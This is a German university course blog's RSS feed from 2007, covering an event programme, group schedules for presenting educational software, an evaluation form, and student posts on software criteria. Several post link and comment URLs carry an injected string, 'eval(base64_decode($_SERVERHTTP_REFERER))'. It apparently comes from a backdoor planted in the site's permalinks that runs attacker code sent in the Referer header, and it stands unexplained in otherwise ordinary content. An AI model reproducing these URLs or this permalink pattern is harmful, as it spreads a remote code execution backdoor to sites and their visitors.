<p>17:00 – 17:30 Input und Gespr&#228;ch: Der Weg von der Testaufgabe zum Ergebnis<br />
(Prof. Dr. Karsten Wolf, Juniorprofessur f&#252;r Didaktische Gestaltung multimedialer Lernumgebungen)</p>
<p>17:30 – 18:00 Pause bei Obst und Brezeln</p>
<p>18:00 – 18:30 Gemeinsame Auswertung der PISA-Erwachsenentests<br />
(Pr&#228;sentation mit korrekten L&#246;sungen, Prof. Dr. Anke Grotl&#252;schen und das Projektteam Lena Setzepfand, J&#246;rn Eggermann, Ulrich Leicht und Robert F&#246;rsterling)</p>
<p>18:30 – 19:00 Stempeln der Sammelp&#228;sse (Lena Setzepfand, Koordinatorin des Projekts „Knochen kommt zum Hund“)</p>
<p>19:00 – 20.00 Ausklang: Forschendes Lernen mit dem Theater der Versammlung (J&#246;rg Holkenbrink, k&#252;nstlerischer Leiter des Zentrums f&#252;r Performance Studies, Schauspieler des TdV)</p>
<p>Bitte anmelden: ifeb@uni-bremen.de oder unter 0421/ 218-7001 (Sylvia v. Palubicki)</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Softwarepr&#228;sentationen</title>
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		<pubDate>Wed, 30 May 2007 13:24:34 +0000</pubDate>
		<dc:creator>Karsten D. Wolf</dc:creator>
				<category><![CDATA[Organisatorisches]]></category>
		<category><![CDATA[wolf]]></category>

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		<description><![CDATA[Liebe Studierende, hier nun der Fahrplan f&#252;r die n&#228;chsten Wochen. Pr&#228;sentationen von Lernsoftware gibt es am 7., 14. und dem 21. Juni sowie dem 5. Juli. Diese Woche am 31. Mai gibt es noch ein wenig theoretischen Hintergrund von mir und wir denken schon mal die Unterrichtseinbindung vor. Am 28. Juni ist dezentrale Arbeit angesagt: [...]]]></description>
			<content:encoded><![CDATA[<p>Liebe Studierende,<br />
hier nun der Fahrplan f&#252;r die n&#228;chsten Wochen. Pr&#228;sentationen von Lernsoftware gibt es am 7., 14. und dem 21. Juni sowie dem 5. Juli. Diese Woche am 31. Mai gibt es noch ein wenig theoretischen Hintergrund von mir und wir denken schon mal die Unterrichtseinbindung vor.<br />
Am 28. Juni ist dezentrale Arbeit angesagt: sie erstellen einen Entwurf f&#252;r die Unterrichtseinbindung &#8220;ihrer&#8221; Software.<br />
Hier nun die Gruppen f&#252;r die Termine:</p>
<table border="1">
<tr>
<th>Datum</th>
<th>Thema/Software</th>
<th>Gruppe/Personen</th>
</tr>
<tr>
<td>7. Juni</td>
<td>Sim City 3000</td>
<td>Tim Kantareit, Sebastian Kriese, Tanja Werner, Regina Frischen, Torben Wesemann, Claudia Bothe &#8211; Bitte f&#252;r die Unterrichtseinbindung noch wegen Gruppengr&#246;&#223;e Google Earth/Maps oder Nasa Tool ber&#252;cksichtigen</td>
</tr>
<tr>
<td>7. Juni</td>
<td>Geschichtliche Lernsoftware</td>
<td>Sylvia Rothgeber, Katharina Krabbe, Robin Klatte</td>
</tr>
<tr>
<td>7. Juni</td>
<td>Lernsoftware Geschichte</td>
<td>Nina Pulst, Ulrike, Sarina Schmidt &#8211; Bitte bei Sarina Schmidt melden wegen Pr&#228;sentation!!!</td>
</tr>
<tr>
<td>7. Juni</td>
<td>Historikus</td>
<td>Slke B&#252;scher, Meike B&#252;scher, Janina Wiens, Yvonne Jordan, Wiebke Gebbert. <strong>Achtung: f&#252;r diese viele Personen ist ein Vergleich notwendig von zwei Titeln!</strong></td>
</tr>
<tr>
<td>14. Juni</td>
<td>Lernsoftware f&#252;r Tennis</td>
<td>Sandra Gutmann, Julia Weinhauer</td>
</tr>
<tr>
<td>14. Juni</td>
<td>Chemikus</td>
<td>Kathrin Schr&#246;der, Yasmin Khan, Mareike Wessel, Vivian Harberts</td>
</tr>
<tr>
<td>14. Juni</td>
<td>Religiopolis</td>
<td>&#8220;Mr. Pink&#8221;: Robert Heyer, Fabian Kr&#228;he, Melianie Ahrens</td>
</tr>
<tr>
<td>14. Juni</td>
<td>Physikus + Viana</td>
<td>Antje Siebenmark, Annika Fricke</td>
</tr>
<tr>
<td>14. Juni</td>
<td>Berufsvorbereitung</td>
<td>Arbeitslehre: Susanne Hipler, Marco Vernisi</td>
</tr>
<tr>
<td>14. Juni</td>
<td>Ern&#228;hrungswissenschaften/Wirtschaft</td>
<td>Arbeitslehre: Nadine B&#228;uerle, André Barth, Eva Jansen</td>
</tr>
<tr>
<tr>
<td>14. Juni</td>
<td>World Food Force</td>
<td>Geographie 3000: Franziska Noltenius, Jan Wolter</td>
</tr>
<td>21. Juni</td>
<td>Deutsch intensivkurs</td>
<td>Florian Steinbach, Sebastian Steinbach</td>
</tr>
<tr>
<td>21. Juni</td>
<td>Deutsch</td>
<td>Michalina Kostka, Hayul Mikkola, Janina Ellwart</td>
</tr>
<tr>
<td>21. Juni</td>
<td>Deutsch Lernvitamine</td>
<td>Sylvia Vermehren, Sabine Tomm</td>
</tr>
<tr>
<td>21. Juni</td>
<td>Deutsch Software</td>
<td>Julia Friedrich, Jessica B&#246;ttcher</td>
</tr>
<tr>
<td>21. Juni</td>
<td>Lernsoftware Franz&#246;sisch</td>
<td>Celia Schmidt, Anke Namgalies</td>
</tr>
<tr>
<td>21. Juni</td>
<td>Klett Sprachtrainer Franz&#246;sisch</td>
<td>Meike Niemeyer, Verena Mitzka</td>
</tr>
<tr>
<td>21. Juni</td>
<td>Pflege</td>
<td>Birgit Ditzfeld, Susanne M&#252;ller-Witkam</td>
</tr>
<tr>
<td>5. Juli</td>
<td>Englisch &#8211; Rosetta Stone vs. ???</td>
<td>Carmen Schmeyer, Petra Wojcik, Marielle M&#252;ller, Mirela Kucarovic, Karin Ensminger, Tino Kluck, Claas Unruh, Oliver Voigt &#8211; <strong>Achtung: gro&#223;e Gruppe, Vergleich notwendig</strong></td>
</tr>
<tr>
<td>5. Juli</td>
<td>AbiTour Analysis</td>
<td>Birte Feldker, Carsten Fistler, Christine Jansen, Katrin Meinke</td>
</tr>
<tr>
<td>5. Juli</td>
<td>Mathetiger vs Matheland</td>
<td>Mathe Primar: Annette Fischer, Susanne Kn&#246;fel, Anna-Maria Kastner, Christa Zeglin, Natalie Miller, Katja Nolte</td>
</tr>
<tr>
<td>5. Juli</td>
<td>Mathematik</td>
<td>Lars Kolberg, Nicole D&#252;vell, Julia Nehmer</td>
</tr>
<tr>
<td>5. Juli</td>
<td>Mathetiger Basic</td>
<td>Mathe Primar: Yvonne M&#252;ller, Sabrina Grewe, Annika Mues</td>
</tr>
<tr>
<td>5. Juli</td>
<td>Spanisch</td>
<td>Claudia Weissig, Eva Gorbahn, Annika Landwehr</td>
</tr>
<tr>
<td>5. Juli</td>
<td>Spanisch+Musik</td>
<td>Mauricio Lopez, Atanna Doden, Sarah-J. Hein</td>
</tr>
</table>
<p>Da wir bis zu 7 Pr&#228;sentationen an einem Termin haben, bitte:</p>
<ul>
<li>Pr&#228;sentationszeit auf 10 Minuten beschr&#228;nken</li>
<li>Am 5. Juli sollten die Mathematiker noch zu einer weiteren Vergleichsgruppe zusammenschlie&#223;en</li>
<li>Jede Gruppe blogt &#252;ber ihre Software nochmal detailliert</li>
</ul>
]]></content:encoded>
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		</item>
		<item>
		<title>Prototyp 2 vom LeSQua</title>
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		<pubDate>Wed, 30 May 2007 12:15:15 +0000</pubDate>
		<dc:creator>Karsten D. Wolf</dc:creator>
				<category><![CDATA[Kriterien]]></category>
		<category><![CDATA[Vorschlag]]></category>
		<category><![CDATA[wolf]]></category>

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		<description><![CDATA[Liebe Studierende, nach den R&#252;ckmeldungen letzten Donnerstag hier die 2. Version vom LeSQua (LernSoftwareQualit&#228;ts-Bewertungsbogen: LeSQua Prototyp 2 runterladen. Neu sind die Bez&#252;ge zu Fehler zulassen sowie die Trennung von Merkmalen, die eher beschreiben sowie die Beurteilungsmerkmale (in kursiv und grau) sowie f&#252;r jeden Teilbereich ein 5-Sterne-Raster (wobei 5 Sterne f&#252;r excellent und 0 Sterne f&#252;r [...]]]></description>
			<content:encoded><![CDATA[<p>Liebe Studierende,<br />
nach den R&#252;ckmeldungen letzten Donnerstag hier die 2. Version vom LeSQua (<strong>Le</strong>rn<strong>S</strong>oftware<strong>Qua</strong>lit&#228;ts-Bewertungsbogen: <a href='http://www.didactalab.de/teachlab/wp-content/uploads/2007/05/lesq-prototyp-02.pdf' title='LeSQua Prototyp 2'>LeSQua Prototyp 2 runterladen</a>.<img src='http://www.didactalab.de/teachlab/wp-content/uploads/2007/05/abakus.jpg' alt='Abakus' class='right'/><br />
Neu sind die Bez&#252;ge zu Fehler zulassen sowie die Trennung von Merkmalen, die eher beschreiben sowie die Beurteilungsmerkmale (in <em>kursiv</em> und grau) sowie f&#252;r jeden Teilbereich ein 5-Sterne-Raster (wobei 5 Sterne f&#252;r excellent und 0 Sterne f&#252;r unterirdisch, 1 Stern f&#252;r schlecht etc. stehen sollte). </p>
]]></content:encoded>
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		</item>
		<item>
		<title>Neue Kategorie: Chemie</title>
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		<pubDate>Tue, 29 May 2007 22:02:58 +0000</pubDate>
		<dc:creator>nils</dc:creator>
				<category><![CDATA[Vorschlag]]></category>

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		<description><![CDATA[Wenn ich den Tipp richtig verstanden habe, dann kann ich eine neue Kategorie vorschlagen &#8211; mit Begr&#252;ndung. Also ich h&#228;tte gerne eine Kategorie CHEMIE, weil ich so die Chemiker/innen unter den Blogger schneller erreiche. Vielleicht reicht die Begr&#252;ndung, ansonsten m&#252;ssen wir uns anders organisieren. Aber vielleicht kann ich sogar selber die Kategorie einrichten!?]]></description>
			<content:encoded><![CDATA[<p>Wenn ich den Tipp richtig verstanden habe, dann kann ich eine neue Kategorie vorschlagen &#8211; mit Begr&#252;ndung.</p>
<p>Also ich h&#228;tte gerne eine Kategorie CHEMIE, weil ich so die Chemiker/innen unter den Blogger schneller erreiche. Vielleicht reicht die Begr&#252;ndung, ansonsten m&#252;ssen wir uns anders organisieren. Aber vielleicht kann ich sogar selber die Kategorie einrichten!?</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Lernsoftware-Gruppe Chemie gesucht!</title>
		<link>http://www.didactalab.de/teachlab/2007/05/29/lernsoftware-gruppe-chemie-gesucht/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
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		<pubDate>Tue, 29 May 2007 21:47:43 +0000</pubDate>
		<dc:creator>nils</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Da ich an der letzten Sitzung wegen Krankheit nicht teilnehmen konnte, fehlt mir jetzt die passende Gruppe zur CHEMIE. Also wer hat sich schon zu einem Chemiker-Haufen zusammen gefunden und kann mich noch aufnehmen? Vielleicht gebt ihr mir eine kurze Anwort und wir treffen uns am Do. nach dem Seminar. Bis bald, Nils]]></description>
			<content:encoded><![CDATA[<p>Da ich an der letzten Sitzung wegen Krankheit nicht teilnehmen konnte, fehlt mir jetzt die passende Gruppe zur CHEMIE.</p>
<p>Also wer hat sich schon zu einem Chemiker-Haufen zusammen gefunden und kann mich noch aufnehmen? Vielleicht gebt ihr mir eine kurze Anwort und wir treffen uns am Do. nach dem Seminar.</p>
<p>Bis bald, Nils</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Nachtrag: Kriterien Lernsoftware</title>
		<link>http://www.didactalab.de/teachlab/2007/05/23/nachtrag-kriterien-lernsoftware/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
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		<pubDate>Wed, 23 May 2007 21:19:06 +0000</pubDate>
		<dc:creator>Sandra Gutmann</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Aufgaben]]></category>

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		<description><![CDATA[F&#252;r den Einsatz von Lernsoftware in der Schule sind mir besonders folgende Bereiche wichtig: Technik, Gestaltung und Inhalte. Die Technik sollte ohne St&#246;rungen und Komplikationen laufen, denn schon kleine Behinderungen k&#246;nnen die Benutzer demotivieren.Die Gestaltung der Software sollte &#252;bersichtlich sein. Bereits die Startseite darf dabei nicht &#252;berladen und verwirrend wirken. Au&#223;erdem sind eine klare Struktur [...]]]></description>
			<content:encoded><![CDATA[<p>F&#252;r den Einsatz von Lernsoftware in der Schule sind mir besonders folgende Bereiche wichtig: Technik, Gestaltung und Inhalte. Die Technik sollte ohne St&#246;rungen und Komplikationen laufen, denn schon kleine Behinderungen k&#246;nnen die Benutzer demotivieren.Die Gestaltung der Software sollte &#252;bersichtlich sein. Bereits die Startseite darf dabei nicht &#252;berladen und verwirrend wirken. Au&#223;erdem sind eine klare Struktur sowie leichte Handhabung besonders wichtig.Inhaltlich ist es vor allem notwendig, dass neben dem Schulstoff auch auf aktuelle Themen und Bereiche der Sch&#252;ler/innen zugegriffen werden kann. Deshalb sollten Update- Funktionen unbedingt vorhanden sein. Motivierend wirken weiterhin abwechslungsreiche Aufgaben sowie vorhandene Lernkontrollen zur Wissens&#252;berpr&#252;fung des Benutzers.  </p>
<p>&nbsp;</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Suche noch Mathelernsoftwaregruppe</title>
		<link>http://www.didactalab.de/teachlab/2007/05/22/suche-noch-mathelernsoftwaregruppe/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
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		<pubDate>Tue, 22 May 2007 14:23:09 +0000</pubDate>
		<dc:creator>timkan</dc:creator>
				<category><![CDATA[Mathematik]]></category>
		<category><![CDATA[Organisatorisches]]></category>

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		<description><![CDATA[Hallo Ihr, da ich letztes Mal leider nicht da anwesend sein konnte und noch in keiner Gruppe bin, wollte ich mal fragen, ob jemand interesse hat mich noch aufzunehmen. Studiere Mathematik im 8. Semester.  Liebe Gr&#252;&#223;e, Tim]]></description>
			<content:encoded><![CDATA[<p>Hallo Ihr, da ich letztes Mal leider nicht da anwesend sein konnte und noch in keiner Gruppe bin, wollte ich mal fragen, ob jemand interesse hat mich noch aufzunehmen. Studiere Mathematik im 8. Semester.</p>
<p> Liebe Gr&#252;&#223;e,</p>
<p>Tim</p>
]]></content:encoded>
			<wfw:commentRss>http://www.didactalab.de/teachlab/2007/05/22/suche-noch-mathelernsoftwaregruppe/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
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		</item>
		<item>
		<title>Lernsoftware &#8221; Pflege&#8221;</title>
		<link>http://www.didactalab.de/teachlab/2007/05/21/lernsoftware-pflege-2/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2007/05/21/lernsoftware-pflege-2/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 21 May 2007 15:33:37 +0000</pubDate>
		<dc:creator>birgit ditzfeld</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=249</guid>
		<description><![CDATA[Bei der Beurteilung einer Lernsoftware ist f&#252;r mich der Inhalt das wichtigste Kriterium. Der nachfolgende Text bezieht sich auf folgendes Produkt: Lernprogramm f&#252;r beruflich Pflegende &#8221; Zum Umgang mit dem Sterben&#8221;, der Autor heisst Claus &#8211; Henning Ammann, Diplom &#8211; P&#228;dagoge / Lehrer f&#252;r Pflegeberufe. Herausgeber: Multimedia &#8211; Lernprogramme f&#252;r Pflegeberufe, Bodelschwinghstrasse 324, 33647 Bielefeld. [...]]]></description>
			<content:encoded><![CDATA[<p>Bei der Beurteilung einer Lernsoftware ist f&#252;r mich der Inhalt das wichtigste Kriterium. Der nachfolgende Text bezieht sich auf folgendes Produkt: Lernprogramm f&#252;r beruflich Pflegende &#8221; Zum Umgang mit dem Sterben&#8221;, der Autor heisst Claus &#8211; Henning Ammann, Diplom &#8211; P&#228;dagoge / Lehrer f&#252;r Pflegeberufe.</p>
<p>Herausgeber: Multimedia &#8211; Lernprogramme f&#252;r Pflegeberufe, Bodelschwinghstrasse 324, 33647 Bielefeld.</p>
<p>Erscheinungsdatum: Januar 2002</p>
<p>In der fachdidaktischen Projektarbeit zu der Evaluation dieser Lernsoftware &#8220;Umgang mit Sterben im Pflegeunterricht&#8221; wurde unter u.a. auch der Vergleich zwischen dem Hessischen Curriculum und dem Lernprogramm untersucht. Einige Bereiche m&#246;chte ich als Beispiel nennen:</p>
<p>Pflege im Hessischen Curriculum &#8211;&gt;&gt; pflegerische T&#228;tigkeiten bei Sterbenden</p>
<p>Lernprogramm &#8211;&gt;&gt; Pflegema&#223;nahmen zur Hilfe beim Sterben am Beispiel f&#252;r Herrn N.</p>
<p>Aus dem Bereich &#8221; Gesetzeskunde&#8221; im Hessischen Curriculum &#8211;&gt;&gt; aktive und passive Sterbehilfe</p>
<p>Lernprogramm &#8211;&gt;&gt; Grunds&#228;tze von Sterbehilfe und Arten der Sterbehilfe.</p>
<p>Die Vergleiche sind sehr &#252;bersichtlich tabellarisch angeordnet. Nachfolgend finden sich auch Beurteilungen bez&#252;glich Lerninhalte der Software.</p>
<p>Pflegema&#223;nahmen werden darin ausf&#252;hrlich beschrieben, allerdings gibt es auch Kritik, da ein wichtiger Punkt keine Beachtung findet: dem Patienten wird nicht die M&#246;glichkeit gegeben, seine pers&#246;nlichen Angelegenheiten z. B. Testament zu regeln.</p>
<p>Pflegesituationen beschreibt das Programm ausf&#252;hrlich und realit&#228;tsnah. In der Gesamtbewertung bietet die Lernsoftware gegen&#252;ber anderen Medien Vorteile: Die Motivation der Sch&#252;lerInnen wird durch ansprechende Aufbereitung der Wissensinhalte gef&#246;rdert und der Benutzer wird durch Akustik und Optik auf das Thema eingestimmt.</p>
<p>Mit dem Hessischen Curriculum gibt es &#220;bereinstimmungen, jedoch werden in dem Programm nicht alle Inhalte dargestellt, es erhebt aber auch nicht den Anspruch auf Vollst&#228;ndigkeit. Diese Lernsoftware dient haupts&#228;chlich zur Veranschaulichung von Wissensinhalten, es wird kein Wissen mit dem Benutzer erarbeitet. Die Einsatzm&#246;glichkeit ist abh&#228;ngig von der Lehrkraft.</p>
<p>Mein eigenes Fazit:</p>
<p>Als Unterrichtseinstieg, um Sch&#252;lerInnen f&#252;r das Thema zu sensibilisieren und zu motivieren bietet die Lernsoftware Abwechslung in der Gestaltung des Unterrichts. Auch der Praxisbezug, den dieses Programm beinhaltet , ist in der Pflegeausbildung n&#246;tig, um Theorie &#8211; Praxis- Transfer herzustellen.</p>
<p>Birgit Ditzfeld</p>
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		</item>
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		<title>Englisch-Lernsoftware</title>
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		<pubDate>Mon, 14 May 2007 20:40:05 +0000</pubDate>
		<dc:creator>Petra</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=246</guid>
		<description><![CDATA[Hallo! Ich habe eine Markt&#252;bersicht f&#252;r Lernprogramme im Bereich Englisch f&#252;r Windows 2000/NT gefunden: http://www.lernsoftware.de/katalog/lernsoftware/sprachen-englisch/system-nt.htm Hoffe sie hilft euch. Gru&#223; Petra]]></description>
			<content:encoded><![CDATA[<p>Hallo!</p>
<p>Ich habe eine Markt&#252;bersicht f&#252;r Lernprogramme im Bereich Englisch f&#252;r Windows 2000/NT gefunden:<br />
<font color="Blue"><br />
<a href="http://www.lernsoftware.de/katalog/lernsoftware/sprachen-englisch/system-nt.htm" title="Markt&#252;bersicht Lernprogramme im Bereich Englisch f&#252;r Windows 2000 / NT."><font size="2"><font face="Arial">http://www.lernsoftware.de/katalog/lernsoftware/sprachen-englisch/system-nt.htm</font></font></a></font></p>
<p>Hoffe sie hilft euch.</p>
<p>Gru&#223; Petra</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Kriterien Lernsoftware</title>
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		<pubDate>Sun, 13 May 2007 10:58:09 +0000</pubDate>
		<dc:creator>marco</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Antworten]]></category>
		<category><![CDATA[Aufgaben]]></category>

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		<description><![CDATA[Bei der Auswahl von Lernsoftware sollte vor allem auf die Kriterien Inhalt, Didaktik und Technik geachtet werden: Inhalt -Passt der Inhalt zum Unterrichtsgegenstand? -Ist der Inhalt gut aufbearbeitet? -Bieten sich Ankn&#252;pfungspunkte zum Dr&#252;ber-Hinaus-Lernen? Didaktik -Passt sich der Schwierigkeitsgrad dem K&#246;nnen der Sch&#252;ler an? -Motiviert der Spielspa&#223; zum Weiterlernen? -Wird die Medienkompetenz gest&#228;rkt? Technik -L&#228;sst sich [...]]]></description>
			<content:encoded><![CDATA[<p>Bei der Auswahl von Lernsoftware sollte vor allem auf die Kriterien Inhalt, Didaktik und Technik geachtet werden:</p>
<p>Inhalt</p>
<p>-Passt der Inhalt zum Unterrichtsgegenstand?</p>
<p>-Ist der Inhalt gut aufbearbeitet?</p>
<p>-Bieten sich Ankn&#252;pfungspunkte zum Dr&#252;ber-Hinaus-Lernen?</p>
<p>Didaktik</p>
<p>-Passt sich der Schwierigkeitsgrad dem K&#246;nnen der Sch&#252;ler an?</p>
<p>-Motiviert der Spielspa&#223; zum Weiterlernen?</p>
<p>-Wird die Medienkompetenz gest&#228;rkt?</p>
<p>Technik</p>
<p>-L&#228;sst sich der Inhalt via Internet updaten?<br />
-Ist die Bedienung intuitiv?</p>
<p>-L&#228;uft die Software auf den alten Schulrechnern fl&#252;ssig?</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Reflektionsauftrag 1</title>
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		<pubDate>Sun, 13 May 2007 10:42:37 +0000</pubDate>
		<dc:creator>marco</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Antworten]]></category>
		<category><![CDATA[Aufgaben]]></category>

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		<description><![CDATA[Bei &#8220;Erfahrung mit Lernsoftware&#8221; hatte ich &#252;ber &#8220;Abenteuer Landtag&#8221; geschrieben: Folgende Kritik dazu habe ich unter http://www.uni-protokolle.de/nachrichten/id/66268/ gefunden: Einmaliges Projekt auf Weltniveau 05.12.2000 &#8211; (idw) Fachhochschule Hannover Studierende aus den Fachbereichen Deisgn und Medien sowie Wirtschaft der Fachhochschule Hannover (FHH) entwickeln interaktive CD-ROM &#8220;Abenteuer Landtag&#8221; Jugendliche f&#252;r die Aufgaben und die Arbeitsweise des Nieders&#228;chsischen Landtags [...]]]></description>
			<content:encoded><![CDATA[<p>Bei &#8220;Erfahrung mit Lernsoftware&#8221; hatte ich &#252;ber &#8220;Abenteuer Landtag&#8221; geschrieben:</p>
<p><a href="http://www.didactalab.de/teachlab/wp-content/uploads/2007/05/abenteuer-landtag.jpg" title="Abenteuer Landtag"><img src="http://www.didactalab.de/teachlab/wp-content/uploads/2007/05/abenteuer-landtag.jpg" alt="Abenteuer Landtag" /></a><img src="///E:/Eigene%20Dateien/Abenteuer%20Landtag.jpg" /></p>
<p>Folgende Kritik dazu habe ich unter http://www.uni-protokolle.de/nachrichten/id/66268/ gefunden:</p>
<h1><em>Einmaliges Projekt auf Weltniveau</em></h1>
<p><!-- google_ad_client = "pub-8002138635747363"; google_alternate_ad_url = "http://www.uni-protokolle.de/banner.php"; google_ad_width = 728; google_ad_height = 90; google_ad_format = "728x90_as"; google_ad_channel ="1373159344"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "000000"; google_color_url = "000000"; google_color_text = "000000"; //-->  <em><br />
05.12.2000 &#8211; (idw) Fachhochschule Hannover<br />
</em>      <em><strong> Studierende aus den Fachbereichen Deisgn und Medien sowie Wirtschaft der Fachhochschule Hannover (FHH) entwickeln interaktive CD-ROM &#8220;Abenteuer Landtag&#8221; </strong></em></p>
<p><em> Jugendliche f&#252;r die Aufgaben und die Arbeitsweise des Nieders&#228;chsischen Landtags zu interessieren, ist nicht ganz einfach. Studierende der Fachhochschule Hannover (FHH) haben sich dieser Herausforderung gestellt. Sie haben in einem einj&#228;hrigen Projekt eine CD-ROM zum &#8220;Abenteuer Landtag&#8221; entwickelt, die heute im Nieders&#228;chsischen Landtag der &#214;ffentlichkeit vorgestellt wurde.</em></p>
<p><em>14 Studentinnen und Studenten aus den Fachbereichen Design und Medien (DM) sowie Wirtschaft (W) der Hochschule arbeiteten diese Konzeption von Professor Dr. Dr. Thomas Jaspersen als Multimedia-Spiel auf CD-Rom aus. Sie wurden in ihrer Arbeit von den Professoren Dr. Dr. Thomas Jaspersen (Idee und Produktionsleitung), Michael Mahlstedt (Grafik-Design), Hanno Baethe (Spiele im Spiel) und Dr. Manfred Krause (Programmierung) betreut. F&#252;r den Praxistest haben Sch&#252;lerinnen und Sch&#252;ler des Cato Bontjes van Beek-Gymnasium (Achim) und des Elsa-Brandstr&#246;m-Gymnasiums (Hannover) die Produktion kritisch begleitet.</em></p>
<p><em>Das Ergebnis ist eine CD-ROM, in der Tuffi &#8211; eine zahme Leseratte &#8211; eine zentrale Rolle spielt. Sie ist im nieders&#228;chsischen Landtag verschwunden und w&#228;hrend der Suche nach ihr werden Informationen rund um den Landtag spielerisch vermittelt. Allein 14 Themenkomplexe rund um Parlamentarismus und Demokratie wurden zielgruppengerecht aufbereitet und in die CD integriert.</em></p>
<p><em>Die neue CD-ROM baut auf Erfahrungen mit einer ersten CD-ROM &#252;ber den Nieders&#228;chsischen Landtag auf. Sie wurde technisch verfeinert und um zwei weitere Medien, n&#228;mlich PDF-Files und ein Handbuch f&#252;r Lehrerinnen und Lehrer erg&#228;nzt. </em></p>
<p><em>Im Zentrum steht die Spiel-CD, die einer Altersgruppe von 12 bis 18 Jahren das Abenteuer Landtag mit Spiel, Spannung, anspruchsvoller Grafik und rezipientengerechten Texten vermittelt. Nachrichtensprecher Jo Brauner, der die gesamten politischen Texte gesprochen hat, ist davon &#252;berzeugt, dass das Projekt aufgrund seiner Einzigartigkeit &#8220;Furore machen&#8221; wird. F&#252;r den Auftraggeber Professor Rolf Wernstedt, Pr&#228;sident des Nieders&#228;chsischen Landtags, steht fest, dass das &#8220;einmalige multimediale Projekt im Ergebnis Weltniveau&#8221; beweist.</em></p>
<p><em>Hinweis an die Redaktionen: </em></p>
<p><em>Die CD-ROM ist kostenlos im Nieders&#228;chsischen Landtag &#8211; entweder beim Pf&#246;rtner in der Portikushalle oder im Referat f&#252;r Presse- und &#214;ffentlichkeitsarbeit &#8211; erh&#228;ltlich. Gegen Einsendung eines voll adressierten und mit DM 3,- frankierten R&#252;ckumschlag kann sie auch angefordert werden:</em></p>
<p><em>Nieders&#228;chsischer Landtag<br />
Referat f&#252;r Presse- und &#214;ffentlichkeitsarbeit<br />
Hinrich-Wilhelm-Kopf-Platz 1<br />
30159 Hannover</em></p>
<p><em>F&#252;r Unterrichtszwecke wird f&#252;r Lehrkr&#228;fte zus&#228;tzlich &#8211; nur auf ausdr&#252;ckliche Bestellung &#8211; ein spezielles Begleitheft mitgeliefert.</em></p>
<p>Vom Weltniveau hatte ich beim Ausprobieren (siehe: Erfahrung mit Lernsoftware) der Software nicht viel gemerkt. Das Alter des Games kann meiner Meinung nach nicht als Entschuldigung herhalten. Schlie&#223;lich ist der Spielspa&#223; (und damit der Lernerfolg der Lernsoftware) nicht von der technischen Entwicklungsstufe abh&#228;ngig&#8230;</p>
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		</item>
		<item>
		<title>Erfahrung mit Lernsoftware</title>
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		<pubDate>Sun, 13 May 2007 10:30:18 +0000</pubDate>
		<dc:creator>marco</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Aufgaben]]></category>
		<category><![CDATA[Reflektionen]]></category>

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		<description><![CDATA[Im Rahmen einer EW-Veranstaltung vor zwei Jahren hatte ich einmal die Gelegenheit, bei einem Besuch im ZIM den Software-Bestand des DiMeB-Instituts zu sichten. In der Kategorie Geschichte (studiere ich neben Arbeitslehre) eingeordnet (Sig: 503), fand sich die interaktive Lernsoftware &#8220;Abenteuer Landtag&#8221;, mittels derer Jugendliche die Geschichte des Bundeslandes und seine politsche Struktur kennenlernen sollen. Das [...]]]></description>
			<content:encoded><![CDATA[<p>Im Rahmen einer EW-Veranstaltung vor zwei Jahren hatte ich einmal die Gelegenheit, bei einem Besuch im ZIM den Software-Bestand des DiMeB-Instituts zu sichten. In der Kategorie Geschichte (studiere ich neben Arbeitslehre) eingeordnet (Sig: 503), fand sich die interaktive Lernsoftware &#8220;Abenteuer Landtag&#8221;, mittels derer Jugendliche die Geschichte des Bundeslandes und seine politsche Struktur kennenlernen sollen. Das Ganze ist als eine Art Adventure-Game aufgezogen. Der Spieler startet im Keller des Landtages. Er befindet sich auf der Suche nach einer zahmen Ratte, die dort verschwunden ist und bekommt sozusagen nebenbei Informationen &#252;ber Land und Landtag vermittelt (beziehungsweise als Sequenzen eingespielt). Alles in allem wirkt das ein wenig gequ&#228;lt und es verleitet dazu, auf der Suche nach Hotspots (wird draufgeklickt, tut sich was&#8230;) wild hin- und herzuklicken. Begeistert war ich also nicht gerade (siehe auch Reflektionsauftrag 1)&#8230;</p>
]]></content:encoded>
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		</item>
		<item>
		<title></title>
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		<pubDate>Sat, 12 May 2007 18:58:04 +0000</pubDate>
		<dc:creator>jawol</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Technik Soundeffekte Kaum vorhanden, nur wenig Hintergrundmusik Sound In und Output Sound l&#228;sst sich nicht ausstellen Anforderungen Windows 95 oder h&#246;her – 3MB Fetsplatte – mindestens Pentiumprozessor – 16 MB-RAM Arbeitsspeicher – VGA-Grafikkarte mit 256 Farben – 4x-CD-Laufwerk Erscheinungsjahr 2001, ver&#246;ffentlicht von bhv Software GmbH &#38; Co KG, www.bhv.net Grafik kleine Aufl&#246;sung, f&#252;llt nicht den [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Technik</strong></p>
<ul>
<li>Soundeffekte
<p>Kaum vorhanden, nur wenig 	Hintergrundmusik</li>
<li>Sound In und Output
<p>Sound l&#228;sst sich nicht ausstellen</li>
<li>Anforderungen
